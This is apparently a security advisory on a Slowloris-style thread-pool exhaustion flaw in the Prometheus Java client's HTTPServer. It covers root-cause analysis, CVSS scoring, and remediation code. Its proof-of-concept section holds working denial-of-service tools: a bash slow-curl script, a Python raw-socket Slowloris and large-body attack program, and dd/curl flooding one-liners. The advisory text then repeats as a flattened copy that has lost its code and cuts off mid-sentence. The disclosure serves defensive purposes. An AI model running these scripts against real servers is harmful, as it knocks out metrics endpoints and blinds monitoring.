Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer
1. Vulnerability Summary
| Field |
Value |
| Product |
prometheus/client_java (Prometheus Java Client Library) |
| Affected Version |
1.8.0 (main branch); all prior 1.x releases using prometheus-metrics-exporter-httpserver are likely affected |
| Component |
prometheus-metrics-exporter-httpserver |
| Vulnerable File |
prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java |
| Vulnerable Lines |
335-348 (thread pool), 163-170 (drain input) |
| Additional File |
prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/BlockingRejectedExecutionHandler.java |
| CWE |
CWE-770: Allocation of Resources Without Limits or Throttling |
| CVSS 3.1 Score |
5.3 (Medium) |
| CVSS 3.1 Vector |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| Repository |
https://github.com/prometheus/client_java |
2. Vulnerability Description
A denial-of-service vulnerability exists in the HTTPServer component of the Prometheus Java client library. The built-in HTTP server that exposes the /metrics endpoint uses a thread pool with a hard-coded maximum of 10 threads combined with a BlockingRejectedExecutionHandler that blocks indefinitely when the pool is exhausted. An unauthenticated attacker can trivially exhaust all 10 threads by opening slow connections (a Slowloris-style attack), after which all subsequent requests -- including legitimate Prometheus scrapes -- block indefinitely rather than being rejected with an appropriate HTTP error.
The vulnerability is composed of three interacting design flaws:
-
Hard-coded thread pool maximum of 10: The makeExecutorService() method at lines 335-348 creates a ThreadPoolExecutor with a maximum pool size of 10 and a SynchronousQueue. The SynchronousQueue has zero capacity, meaning tasks can only be handed off to a waiting thread and cannot be queued. Once all 10 threads are occupied by slow connections, no further tasks can be accepted.
-
Indefinite blocking on rejection: The BlockingRejectedExecutionHandler (lines 9-17 of BlockingRejectedExecutionHandler.java) calls threadPoolExecutor.getQueue().put(runnable) when all threads are busy. Since the queue is a SynchronousQueue, put() blocks indefinitely until a thread becomes available. This means new incoming requests are never rejected with an HTTP 503 -- they simply hang forever.
-
Unbounded request body consumption: The drainInputAndClose() method at lines 163-170 reads the entire HTTP request body with no size limit, allowing an attacker to further amplify thread occupation time by sending arbitrarily large request bodies.
3. Root Cause Analysis
3.1 Vulnerable Code: Thread Pool Construction
File: HTTPServer.java, lines 335-348
private ExecutorService makeExecutorService() {
if (executorService != null) {
return executorService;
} else {
return new ThreadPoolExecutor(
1, // core pool size: only 1 thread kept alive when idle
10, // maximum pool size: HARD LIMIT of 10 threads
120,
TimeUnit.SECONDS,
new SynchronousQueue<>(true), // zero-capacity queue
NamedDaemonThreadFactory.defaultThreadFactory(true),
new BlockingRejectedExecutionHandler()); // blocks forever on exhaustion
}
}
The configuration choices create a perfect storm for denial-of-service:
maximumPoolSize = 10: This is an extremely low ceiling for any network server. An attacker needs to occupy only 10 concurrent connections to completely exhaust the pool.
SynchronousQueue: Unlike bounded queues (e.g., LinkedBlockingQueue), a SynchronousQueue has no internal buffer. Each offer() must be matched by a corresponding take() from a consumer thread. When all 10 threads are busy, the queue cannot accept any tasks.
BlockingRejectedExecutionHandler: Instead of rejecting excess tasks (the standard behavior of ThreadPoolExecutor.AbortPolicy, CallerRunsPolicy, or DiscardPolicy), this handler blocks the calling thread forever.
3.2 Vulnerable Code: Blocking Rejection Handler
File: BlockingRejectedExecutionHandler.java, lines 6-18
class BlockingRejectedExecutionHandler implements RejectedExecutionHandler {
@Override
public void rejectedExecution(Runnable runnable, ThreadPoolExecutor threadPoolExecutor) {
if (!threadPoolExecutor.isShutdown()) {
try {
threadPoolExecutor.getQueue().put(runnable); // Blocks INDEFINITELY
} catch (InterruptedException ignored) {
// ignore
}
}
}
}
When the ThreadPoolExecutor rejects a task (because all 10 threads are busy and the SynchronousQueue cannot accept the task), this handler calls getQueue().put(runnable). On a SynchronousQueue, put() is a blocking operation that waits indefinitely for a consumer thread to become available. The thread that calls rejectedExecution -- which is the JDK HttpServer's internal dispatcher thread -- is blocked until one of the 10 worker threads finishes processing its current connection.
The consequence is that while all 10 threads are held by slow clients, the internal dispatcher thread itself is also blocked, meaning no new connections can be dispatched at all. The server becomes completely unresponsive.
3.3 Vulnerable Code: Unbounded Request Body Drain
File: HTTPServer.java, lines 163-170
private void drainInputAndClose(HttpExchange httpExchange) throws IOException {
InputStream inputStream = httpExchange.getRequestBody();
byte[] b = new byte[4096];
while (inputStream.read(b) != -1) {
// nop -- reads ENTIRE body with no size limit
}
inputStream.close();
}
This method reads the complete request body in 4096-byte chunks without enforcing any maximum size. Although drainInputAndClose is only called from the wrapWithDoAs path (when subjectAttributeName is configured and authentication fails), a similar pattern of reading the full request occurs within the JDK HttpServer implementation itself for all requests. An attacker can send arbitrarily large request bodies at very low transfer rates to maximize the time each thread is occupied.
3.4 Partial Mitigation: maxReqTime / maxRspTime
The HTTPServer static initializer (lines 42-50) sets JDK system properties for request and response timeouts:
static {
if (!System.getProperties().containsKey("sun.net.httpserver.maxReqTime")) {
System.setProperty("sun.net.httpserver.maxReqTime", "60");
}
if (!System.getProperties().containsKey("sun.net.httpserver.maxRspTime")) {
System.setProperty("sun.net.httpserver.maxRspTime", "600");
}
}
These JDK-internal properties provide a partial mitigation:
maxReqTime=60: The JDK HttpServer will close connections that take longer than 60 seconds to receive a complete request.
maxRspTime=600: The JDK HttpServer will close connections that take longer than 600 seconds (10 minutes) to send a response.
However, this mitigation is insufficient for several reasons:
- 60 seconds is still long enough: An attacker holding 10 connections for 60 seconds causes a full 60-second outage of the metrics endpoint. Prometheus scrape intervals are typically 15-30 seconds, meaning at least 2-4 scrape cycles are missed.
- Properties can be overridden: The code only sets these properties if they are not already present. An application or deployment framework may set different (or infinite) values.
maxRspTime is 10 minutes: Response timeout is set to 600 seconds, meaning a slow-reading client can occupy a thread for up to 10 minutes.
sun.net.httpserver properties are undocumented: These are internal JDK implementation details with no guarantee of behavior across JDK vendors and versions.
- The
BlockingRejectedExecutionHandler is not bounded by these timeouts: The indefinite blocking in put() is independent of the JDK HttpServer timeout mechanism.
3.5 Small Connection Backlog
Additionally, the server is created with a TCP backlog of only 3:
httpServer = HttpServer.create(makeInetSocketAddress(), 3);
This means only 3 connections can be queued at the OS level while the server is busy. Combined with the 10-thread limit, the server can handle at most 13 concurrent connection attempts before refusing connections at the TCP level.
4. Attack Flow
Attacker HTTPServer (10-thread pool)
| |
|--- Slow Connection #1 -------> Thread 1 occupied (slow read/write)
|--- Slow Connection #2 -------> Thread 2 occupied
|--- Slow Connection #3 -------> Thread 3 occupied
| ... ...
|--- Slow Connection #10 ------> Thread 10 occupied
| |
| ALL 10 THREADS NOW EXHAUSTED |
| |
|--- Connection #11 -----------> BlockingRejectedExecutionHandler.put()
| BLOCKS INDEFINITELY
| |
Prometheus Server |
|--- GET /metrics --------------> Cannot be dispatched
| Scrape TIMES OUT
| |
| Monitoring gap -- alerts not firing |
5. CVSS 3.1 Detailed Breakdown
| Metric |
Value |
Justification |
| Attack Vector (AV) |
Network (N) |
The /metrics HTTP endpoint is network-accessible. The HTTPServer binds to a network socket (default: all interfaces). |
| Attack Complexity (AC) |
Low (L) |
No special conditions required. The attacker needs only to open 10 slow TCP connections to the metrics port. No race conditions, no special configuration, no authentication bypass needed. |
| Privileges Required (PR) |
None (N) |
The HTTPServer does not require authentication by default. The Authenticator is an optional builder parameter that is null unless explicitly configured. |
| User Interaction (UI) |
None (N) |
No user interaction is needed. The attacker sends HTTP requests directly to the endpoint. |
| Scope (S) |
Unchanged (U) |
The vulnerability affects the availability of the metrics endpoint only, not other system components. |
| Confidentiality (C) |
None (N) |
No information disclosure occurs. |
| Integrity (I) |
None (N) |
No data modification occurs. |
| Availability (A) |
Low (L) |
The metrics endpoint becomes unresponsive, causing Prometheus scrape failures. The partial mitigation from maxReqTime=60 means the DoS is temporary (approximately 60 seconds per attack wave) unless the attacker maintains a continuous stream of slow connections. The application itself continues to run; only the metrics exposure endpoint is affected. |
CVSS 3.1 Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1 Base Score: 5.3 (Medium)
Note on Availability rating (Low vs. High): The Availability impact is rated Low rather than High because (a) the maxReqTime=60 system property provides partial mitigation by eventually closing stale connections, (b) the attack affects only the metrics endpoint and not the application's primary functionality, and (c) the DoS requires continuous attacker effort to sustain. If the maxReqTime property were removed or set to an extremely large value, the Availability impact would escalate to High.
6. Proof of Concept
6.1 Prerequisites
- A Java application using
prometheus-metrics-exporter-httpserver with the built-in HTTPServer
- Network access to the metrics HTTP port (default or configured port)
curl, nc (netcat), or Python 3 installed on the attacker machine
6.2 Vulnerable Server Setup
import io.prometheus.metrics.core.metrics.Counter;
import io.prometheus.metrics.exporter.httpserver.HTTPServer;
public class VulnerableMetricsServer {
public static void main(String[] args) throws Exception {
Counter requestsTotal = Counter.builder()
.name("requests_total")
.help("Total requests")
.register();
HTTPServer server = HTTPServer.builder()
.port(9400)
.buildAndStart();
System.out.println("Metrics server started on port " + server.getPort());
// Simulate application activity
while (true) {
requestsTotal.inc();
Thread.sleep(1000);
}
}
}
6.3 Attack Method 1: Slow Clients via curl (Simple)
#!/bin/bash
# slowloris_curl.sh -- Exhaust thread pool with slow-downloading clients
# Usage: ./slowloris_curl.sh <target_host> <target_port>
TARGET_HOST="${1:-localhost}"
TARGET_PORT="${2:-9400}"
THREADS=10 # Matches the hard-coded maximum pool size
echo "[*] Target: http://${TARGET_HOST}:${TARGET_PORT}/metrics"
echo "[*] Launching ${THREADS} slow connections to exhaust the thread pool..."
# Phase 1: Open 10 slow connections (one per thread)
for i in $(seq 1 ${THREADS}); do
# --limit-rate 1: Download at 1 byte/second, holding the thread for the
# entire duration of the response transfer.
curl --silent --limit-rate 1 \
--max-time 120 \
"http://${TARGET_HOST}:${TARGET_PORT}/metrics" \
-o /dev/null &
echo " [+] Slow connection #${i} started (PID: $!)"
done
echo ""
echo "[*] Waiting 5 seconds for all threads to be occupied..."
sleep 5
# Phase 2: Attempt a legitimate scrape -- this will hang
echo "[*] Attempting legitimate metrics scrape (should hang or timeout)..."
echo "[*] Running: curl --max-time 10 http://${TARGET_HOST}:${TARGET_PORT}/metrics"
START=$(date +%s)
HTTP_CODE=$(curl --silent --max-time 10 \
-o /dev/null -w "%{http_code}" \
"http://${TARGET_HOST}:${TARGET_PORT}/metrics" 2>&1)
END=$(date +%s)
ELAPSED=$((END - START))
if [ "$HTTP_CODE" = "000" ]; then
echo ""
echo "[!] VULNERABILITY CONFIRMED: Request timed out after ${ELAPSED}s"
echo "[!] The metrics endpoint is completely unresponsive."
echo "[!] Prometheus scrapes will fail, creating a monitoring gap."
elif [ "$HTTP_CODE" = "200" ]; then
echo ""
echo "[-] Request succeeded (HTTP ${HTTP_CODE}) in ${ELAPSED}s."
echo "[-] Thread pool may not be fully exhausted. Try increasing THREADS."
else
echo ""
echo "[?] Unexpected HTTP code: ${HTTP_CODE} after ${ELAPSED}s"
fi
# Cleanup
echo ""
echo "[*] Cleaning up background curl processes..."
kill $(jobs -p) 2>/dev/null
wait 2>/dev/null
echo "[*] Done."
6.4 Attack Method 2: Slowloris via Raw Sockets (Python)
#!/usr/bin/env python3
"""
slowloris_prometheus.py -- Thread Pool Exhaustion PoC for prometheus/client_java HTTPServer
Demonstrates a Slowloris-style DoS against the Prometheus Java client's
built-in HTTPServer by exhausting its 10-thread pool with slow connections.
Usage:
python3 slowloris_prometheus.py --host localhost --port 9400
"""
import argparse
import socket
import time
import threading
import sys
def slow_connection(host, port, conn_id, hold_seconds=90):
"""
Open a connection and send an HTTP request very slowly,
one byte at a time, to hold a thread in the server's pool.
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(hold_seconds + 10)
sock.connect((host, port))
# Send HTTP request headers very slowly -- one byte per second
request = f"GET /metrics HTTP/1.1\r\nHost: {host}\r\n"
for char in request:
sock.send(char.encode())
time.sleep(1) # 1 byte per second
# Keep the connection open without completing the request
# (no final \r\n to terminate headers)
print(f" [+] Connection #{conn_id}: holding thread "
f"(incomplete request, {hold_seconds}s hold)")
# Hold the connection open
time.sleep(hold_seconds)
sock.close()
print(f" [-] Connection #{conn_id}: released after {hold_seconds}s")
except Exception as e:
print(f" [!] Connection #{conn_id}: {e}")
def test_metrics_endpoint(host, port, timeout=10):
"""
Attempt a legitimate scrape of the /metrics endpoint.
Returns (success: bool, elapsed_seconds: float, response: str).
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
start = time.time()
sock.connect((host, port))
request = f"GET /metrics HTTP/1.1\r\nHost: {host}\r\n\r\n"
sock.send(request.encode())
response = sock.recv(4096).decode(errors='replace')
elapsed = time.time() - start
sock.close()
return True, elapsed, response[:200]
except socket.timeout:
elapsed = time.time() - start
return False, elapsed, "TIMEOUT"
except Exception as e:
elapsed = time.time() - start
return False, elapsed, str(e)
def large_body_attack(host, port, conn_id, size_mb=100):
"""
Send an HTTP POST with a very large body at a slow rate to
exploit the unbounded drainInputAndClose() method.
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(120)
sock.connect((host, port))
# Send headers declaring a large body
headers = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Length: {size_mb * 1024 * 1024}\r\n"
f"\r\n"
)
sock.send(headers.encode())
print(f" [+] Connection #{conn_id}: sending {size_mb}MB body slowly...")
# Send body data at 1KB/second
chunk = b'\x00' * 1024
bytes_sent = 0
target = size_mb * 1024 * 1024
while bytes_sent < target:
sock.send(chunk)
bytes_sent += len(chunk)
time.sleep(1)
sock.close()
except Exception as e:
print(f" [!] Connection #{conn_id} (large body): {e}")
def main():
parser = argparse.ArgumentParser(
description="Slowloris DoS PoC for prometheus/client_java HTTPServer"
)
parser.add_argument("--host", default="localhost", help="Target host")
parser.add_argument("--port", type=int, default=9400, help="Target port")
parser.add_argument("--threads", type=int, default=10,
help="Number of slow connections (default: 10, matching pool max)")
parser.add_argument("--hold", type=int, default=90,
help="Seconds to hold each connection (default: 90)")
parser.add_argument("--mode", choices=["slowloris", "largebod", "both"],
default="slowloris",
help="Attack mode (default: slowloris)")
args = parser.parse_args()
print("=" * 70)
print(" Prometheus client_java HTTPServer -- Thread Pool Exhaustion PoC")
print("=" * 70)
print(f"\n Target: http://{args.host}:{args.port}/metrics")
print(f" Mode: {args.mode}")
print(f" Threads: {args.threads} (server max pool size: 10)")
print(f" Hold time: {args.hold}s (server maxReqTime: 60s)")
print()
# Step 1: Verify the target is reachable
print("[Phase 0] Verifying target is reachable...")
success, elapsed, response = test_metrics_endpoint(args.host, args.port)
if success:
print(f" [OK] Metrics endpoint responded in {elapsed:.2f}s")
print(f" [OK] Response preview: {response[:100]}...")
else:
print(f" [FAIL] Cannot reach target: {response}")
sys.exit(1)
print()
# Step 2: Launch slow connections
print(f"[Phase 1] Launching {args.threads} slow connections...")
attack_threads = []
for i in range(1, args.threads + 1):
if args.mode in ("slowloris", "both"):
t = threading.Thread(
target=slow_connection,
args=(args.host, args.port, i, args.hold),
daemon=True
)
else:
t = threading.Thread(
target=large_body_attack,
args=(args.host, args.port, i),
daemon=True
)
t.start()
attack_threads.append(t)
time.sleep(0.1) # Stagger connections slightly
# If mode is "both", also launch large body attacks
if args.mode == "both":
print(f"\n[Phase 1b] Launching {args.threads} large-body connections...")
for i in range(args.threads + 1, args.threads * 2 + 1):
t = threading.Thread(
target=large_body_attack,
args=(args.host, args.port, i),
daemon=True
)
t.start()
attack_threads.append(t)
# Step 3: Wait for threads to be occupied
print(f"\n[Phase 2] Waiting 10 seconds for server threads to be occupied...\n")
time.sleep(10)
# Step 4: Test if legitimate scrape is blocked
print("[Phase 3] Attempting legitimate metrics scrape...")
print(f" Timeout set to 15 seconds (Prometheus default scrape_timeout)\n")
for attempt in range(1, 4):
print(f" --- Attempt #{attempt} ---")
success, elapsed, response = test_metrics_endpoint(
args.host, args.port, timeout=15
)
if not success:
print(f" [!] BLOCKED: Request failed after {elapsed:.2f}s")
print(f" [!] Result: {response}")
print(f" [!] VULNERABILITY CONFIRMED: Metrics endpoint is unresponsive")
else:
print(f" [*] Response received in {elapsed:.2f}s")
if elapsed > 5.0:
print(f" [!] WARNING: Response was severely delayed ({elapsed:.2f}s)")
print(f" [!] Thread pool is under pressure")
else:
print(f" [-] Endpoint still responsive. Pool may not be fully exhausted.")
print()
time.sleep(2)
# Summary
print("=" * 70)
print(" ATTACK SUMMARY")
print("=" * 70)
print(f"""
The prometheus/client_java HTTPServer uses a ThreadPoolExecutor with:
- Maximum pool size: 10 (hard-coded)
- Queue: SynchronousQueue (zero capacity)
- Rejection policy: BlockingRejectedExecutionHandler (blocks forever)
Attack impact:
- {args.threads} slow connections exhaust all available threads
- The 11th connection triggers BlockingRejectedExecutionHandler.put()
- put() blocks INDEFINITELY on the zero-capacity SynchronousQueue
- Prometheus scrapes time out, creating monitoring blind spots
- Alerting systems fail to fire, potentially masking other attacks
Partial mitigation present (but insufficient):
- sun.net.httpserver.maxReqTime=60 (threads released after 60s)
- BUT: attacker can simply reconnect, causing repeated 60s outages
- AND: maxRspTime=600 allows response-phase holds of 10 minutes
""")
# Cleanup
print("[*] Attack demonstration complete. Background threads will terminate.")
if __name__ == "__main__":
main()
6.5 Attack Method 3: Large Request Body via drainInputAndClose
# Send a 1GB request body at default speed -- the server thread will read
# the entire body in drainInputAndClose() without any size limit.
# Note: drainInputAndClose is called when subjectAttributeName is set
# and the authenticated subject check fails.
dd if=/dev/zero bs=1M count=1024 | \
curl -X POST "http://localhost:9400/" --data-binary @- &
# Or at a slow rate to maximize thread occupation time:
dd if=/dev/zero bs=1 count=10000 | \
curl --limit-rate 1 -X POST "http://localhost:9400/" --data-binary @- &
6.6 Expected Results
When the PoC is run against a Prometheus Java client HTTPServer:
- The first 10 slow connections each occupy one thread in the pool.
- The 11th connection causes the
BlockingRejectedExecutionHandler.put() to block the JDK HttpServer dispatcher.
- Any subsequent request (including legitimate Prometheus scrapes) either times out or hangs indefinitely.
- After approximately 60 seconds (due to
maxReqTime=60), the JDK HttpServer may close the slow connections, temporarily freeing threads.
- If the attacker maintains a continuous stream of slow connections, the DoS is sustained indefinitely.
7. Impact Analysis
7.1 Availability Impact
-
Trivial Thread Pool Exhaustion: With a hard-coded maximum of 10 threads, an attacker needs only 10 concurrent slow connections to fully exhaust the pool. This is a remarkably low bar for a denial-of-service attack.
-
Indefinite Blocking, Not Graceful Rejection: The BlockingRejectedExecutionHandler ensures that when the pool is exhausted, new requests are not rejected with an HTTP 503 (Service Unavailable) error. Instead, they block indefinitely. This means clients receive no indication of overload and cannot implement retry logic.
-
Prometheus Scrape Failures: When the metrics endpoint is unresponsive, the Prometheus server's scrape requests time out (default scrape_timeout: 10s). This creates gaps in monitoring data. The up metric for the target drops to 0, but if the attacker sustains the attack, alerting rules based on metric thresholds will not fire because no data is collected.
-
Monitoring Blind Spots: A sustained thread pool exhaustion attack against the metrics endpoint can mask other ongoing attacks or system failures. If alerting depends on metrics exposed through this endpoint (CPU usage, error rates, latency percentiles), those alerts become non-functional during the attack.
7.2 Amplification via drainInputAndClose
The drainInputAndClose() method at lines 163-170 reads the entire HTTP request body without enforcing a maximum size:
while (inputStream.read(b) != -1) {
// nop -- reads ENTIRE body with no size limit
}
This allows an attacker to send multi-gigabyte request bodies, forcing a server thread to spend extended time reading data before it can process the next request. Combined with rate-limiting the upload speed, a single connection can hold a thread for an arbitrarily long time (up to the maxReqTime limit).
7.3 Deployment Context
The HTTPServer component is used in:
- Standalone Java applications without a servlet container
- Java agents for JVM instrumentation (e.g., JMX exporters)
- Microservices exposing metrics on a dedicated port
In containerized environments (Kubernetes), the metrics port is often accessible from within the cluster network to any pod, expanding the potential attacker surface. Service mesh configurations that expose metrics endpoints through sidecars also inherit this vulnerability.
7.4 Comparison with Standard Java HTTP Server Defaults
The JDK com.sun.net.httpserver.HttpServer does not impose a default thread pool limit. When no executor is set, it runs handlers on the caller thread. The Prometheus client library's choice to use a 10-thread pool with a blocking rejection handler creates an artificial and severe constraint that does not exist in the underlying platform.
8. Affected Component Architecture
Incoming HTTP Request
|
v
JDK com.sun.net.httpserver.HttpServer
|
| Dispatches to ExecutorService
v
ThreadPoolExecutor (max 10, SynchronousQueue)
|
| All 10 threads busy?
|--- No --> Handle request normally
|--- Yes -> BlockingRejectedExecutionHandler
|
v
getQueue().put(runnable)
|
BLOCKS INDEFINITELY
(SynchronousQueue has zero capacity)
|
Dispatcher thread is stuck
|
No new requests can be processed
9. Remediation
9.1 Increase Maximum Pool Size and Use a Bounded Queue
Replace the current ThreadPoolExecutor configuration with a more robust setup that can handle load spikes:
private ExecutorService makeExecutorService() {
if (executorService != null) {
return executorService;
} else {
return new ThreadPoolExecutor(
4, // core pool size
64, // maximum pool size (increased from 10)
120,
TimeUnit.SECONDS,
new LinkedBlockingQueue<>(128), // bounded queue with backpressure
NamedDaemonThreadFactory.defaultThreadFactory(true),
new ThreadPoolExecutor.AbortPolicy()); // reject with RejectedExecutionException
}
}
9.2 Replace BlockingRejectedExecutionHandler with a Rejection Policy
Replace the indefinite-blocking handler with a policy that returns HTTP 503 to the client:
// Instead of blocking forever, reject excess requests immediately.
// The JDK HttpServer will return an appropriate error to the client.
new ThreadPoolExecutor.AbortPolicy()
Or implement a custom handler that responds with HTTP 503:
class ServiceUnavailableRejectedHandler implements RejectedExecutionHandler {
@Override
public void rejectedExecution(Runnable runnable, ThreadPoolExecutor executor) {
// Log the rejection for monitoring
Logger.getLogger("prometheus-httpserver")
.warning("Metrics request rejected: thread pool exhausted");
// The JDK HttpServer will handle the rejection appropriately
throw new RejectedExecutionException("Thread pool exhausted");
}
}
9.3 Add Request Body Size Limits to drainInputAndClose
Enforce a maximum request body size to prevent unbounded reads:
private static final int MAX_REQUEST_BODY_SIZE = 64 * 1024; // 64 KB
private void drainInputAndClose(HttpExchange httpExchange) throws IOException {
InputStream inputStream = httpExchange.getRequestBody();
byte[] b = new byte[4096];
int totalBytesRead = 0;
int bytesRead;
while ((bytesRead = inputStream.read(b)) != -1) {
totalBytesRead += bytesRead;
if (totalBytesRead > MAX_REQUEST_BODY_SIZE) {
break; // Stop reading, discard remaining body
}
}
inputStream.close();
}
9.4 Make Pool Size Configurable
Expose the thread pool configuration through the builder API and/or PrometheusProperties:
// Builder API
public Builder maxThreads(int maxThreads) {
this.maxThreads = maxThreads;
return this;
}
// PrometheusProperties
// io.prometheus.metrics.exporter.httpserver.maxThreads=64
9.5 Reduce Request and Response Timeouts
Lower the maxReqTime default and especially the maxRspTime default:
static {
if (!System.getProperties().containsKey("sun.net.httpserver.maxReqTime")) {
System.setProperty("sun.net.httpserver.maxReqTime", "10"); // 10 seconds
}
if (!System.getProperties().containsKey("sun.net.httpserver.maxRspTime")) {
System.setProperty("sun.net.httpserver.maxRspTime", "30"); // 30 seconds (not 600)
}
}
9.6 Workaround
Users can provide their own ExecutorService via the builder API to override the default pool:
ExecutorService executorService = new ThreadPoolExecutor(
4, 64, 120, TimeUnit.SECONDS,
new LinkedBlockingQueue<>(256),
new ThreadPoolExecutor.CallerRunsPolicy());
HTTPServer server = HTTPServer.builder()
.port(9400)
.executorService(executorService)
.buildAndStart();
This workaround is available because the makeExecutorService() method checks if (executorService != null) first. However, this requires users to be aware of the vulnerability and take proactive action.
10. References
-
CWE-770: Allocation of Resources Without Limits or Throttling
-
Slowloris Attack: OWASP - Slowloris HTTP DoS
-
Java ThreadPoolExecutor Documentation: java.util.concurrent.ThreadPoolExecutor
-
Java SynchronousQueue Documentation: java.util.concurrent.SynchronousQueue -- "Each insert operation must wait for a corresponding remove operation by another thread, and vice versa."
-
sun.net.httpserver System Properties: JDK internal implementation; see sun.net.httpserver.ServerConfig source for maxReqTime and maxRspTime behavior.
-
Prometheus client_java GitHub Repository: https://github.com/prometheus/client_java
-
Vulnerable Source Files:
Reported by: Security Research Team
Date: 2026-06-24
Severity: Medium (CVSS 5.3)
CWE: CWE-770 (Allocation of Resources Without Limits or Throttling)
Status: Unpatched (as of version 1.8.0)
Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer
1. Vulnerability Summary
prometheus-metrics-exporter-httpserverare likely affectedprometheus-metrics-exporter-httpserverprometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.javaprometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/BlockingRejectedExecutionHandler.javaCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L2. Vulnerability Description
A denial-of-service vulnerability exists in the
HTTPServercomponent of the Prometheus Java client library. The built-in HTTP server that exposes the/metricsendpoint uses a thread pool with a hard-coded maximum of 10 threads combined with aBlockingRejectedExecutionHandlerthat blocks indefinitely when the pool is exhausted. An unauthenticated attacker can trivially exhaust all 10 threads by opening slow connections (a Slowloris-style attack), after which all subsequent requests -- including legitimate Prometheus scrapes -- block indefinitely rather than being rejected with an appropriate HTTP error.The vulnerability is composed of three interacting design flaws:
Hard-coded thread pool maximum of 10: The
makeExecutorService()method at lines 335-348 creates aThreadPoolExecutorwith a maximum pool size of 10 and aSynchronousQueue. TheSynchronousQueuehas zero capacity, meaning tasks can only be handed off to a waiting thread and cannot be queued. Once all 10 threads are occupied by slow connections, no further tasks can be accepted.Indefinite blocking on rejection: The
BlockingRejectedExecutionHandler(lines 9-17 ofBlockingRejectedExecutionHandler.java) callsthreadPoolExecutor.getQueue().put(runnable)when all threads are busy. Since the queue is aSynchronousQueue,put()blocks indefinitely until a thread becomes available. This means new incoming requests are never rejected with an HTTP 503 -- they simply hang forever.Unbounded request body consumption: The
drainInputAndClose()method at lines 163-170 reads the entire HTTP request body with no size limit, allowing an attacker to further amplify thread occupation time by sending arbitrarily large request bodies.3. Root Cause Analysis
3.1 Vulnerable Code: Thread Pool Construction
File:
HTTPServer.java, lines 335-348The configuration choices create a perfect storm for denial-of-service:
maximumPoolSize = 10: This is an extremely low ceiling for any network server. An attacker needs to occupy only 10 concurrent connections to completely exhaust the pool.SynchronousQueue: Unlike bounded queues (e.g.,LinkedBlockingQueue), aSynchronousQueuehas no internal buffer. Eachoffer()must be matched by a correspondingtake()from a consumer thread. When all 10 threads are busy, the queue cannot accept any tasks.BlockingRejectedExecutionHandler: Instead of rejecting excess tasks (the standard behavior ofThreadPoolExecutor.AbortPolicy,CallerRunsPolicy, orDiscardPolicy), this handler blocks the calling thread forever.3.2 Vulnerable Code: Blocking Rejection Handler
File:
BlockingRejectedExecutionHandler.java, lines 6-18When the
ThreadPoolExecutorrejects a task (because all 10 threads are busy and theSynchronousQueuecannot accept the task), this handler callsgetQueue().put(runnable). On aSynchronousQueue,put()is a blocking operation that waits indefinitely for a consumer thread to become available. The thread that callsrejectedExecution-- which is the JDKHttpServer's internal dispatcher thread -- is blocked until one of the 10 worker threads finishes processing its current connection.The consequence is that while all 10 threads are held by slow clients, the internal dispatcher thread itself is also blocked, meaning no new connections can be dispatched at all. The server becomes completely unresponsive.
3.3 Vulnerable Code: Unbounded Request Body Drain
File:
HTTPServer.java, lines 163-170This method reads the complete request body in 4096-byte chunks without enforcing any maximum size. Although
drainInputAndCloseis only called from thewrapWithDoAspath (whensubjectAttributeNameis configured and authentication fails), a similar pattern of reading the full request occurs within the JDKHttpServerimplementation itself for all requests. An attacker can send arbitrarily large request bodies at very low transfer rates to maximize the time each thread is occupied.3.4 Partial Mitigation:
maxReqTime/maxRspTimeThe
HTTPServerstatic initializer (lines 42-50) sets JDK system properties for request and response timeouts:These JDK-internal properties provide a partial mitigation:
maxReqTime=60: The JDKHttpServerwill close connections that take longer than 60 seconds to receive a complete request.maxRspTime=600: The JDKHttpServerwill close connections that take longer than 600 seconds (10 minutes) to send a response.However, this mitigation is insufficient for several reasons:
maxRspTimeis 10 minutes: Response timeout is set to 600 seconds, meaning a slow-reading client can occupy a thread for up to 10 minutes.sun.net.httpserverproperties are undocumented: These are internal JDK implementation details with no guarantee of behavior across JDK vendors and versions.BlockingRejectedExecutionHandleris not bounded by these timeouts: The indefinite blocking input()is independent of the JDKHttpServertimeout mechanism.3.5 Small Connection Backlog
Additionally, the server is created with a TCP backlog of only 3:
This means only 3 connections can be queued at the OS level while the server is busy. Combined with the 10-thread limit, the server can handle at most 13 concurrent connection attempts before refusing connections at the TCP level.
4. Attack Flow
5. CVSS 3.1 Detailed Breakdown
/metricsHTTP endpoint is network-accessible. TheHTTPServerbinds to a network socket (default: all interfaces).HTTPServerdoes not require authentication by default. TheAuthenticatoris an optional builder parameter that isnullunless explicitly configured.maxReqTime=60means the DoS is temporary (approximately 60 seconds per attack wave) unless the attacker maintains a continuous stream of slow connections. The application itself continues to run; only the metrics exposure endpoint is affected.CVSS 3.1 Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LCVSS 3.1 Base Score: 5.3 (Medium)
Note on Availability rating (Low vs. High): The Availability impact is rated Low rather than High because (a) the
maxReqTime=60system property provides partial mitigation by eventually closing stale connections, (b) the attack affects only the metrics endpoint and not the application's primary functionality, and (c) the DoS requires continuous attacker effort to sustain. If themaxReqTimeproperty were removed or set to an extremely large value, the Availability impact would escalate to High.6. Proof of Concept
6.1 Prerequisites
prometheus-metrics-exporter-httpserverwith the built-inHTTPServercurl,nc(netcat), or Python 3 installed on the attacker machine6.2 Vulnerable Server Setup
6.3 Attack Method 1: Slow Clients via curl (Simple)
6.4 Attack Method 2: Slowloris via Raw Sockets (Python)
6.5 Attack Method 3: Large Request Body via drainInputAndClose
6.6 Expected Results
When the PoC is run against a Prometheus Java client
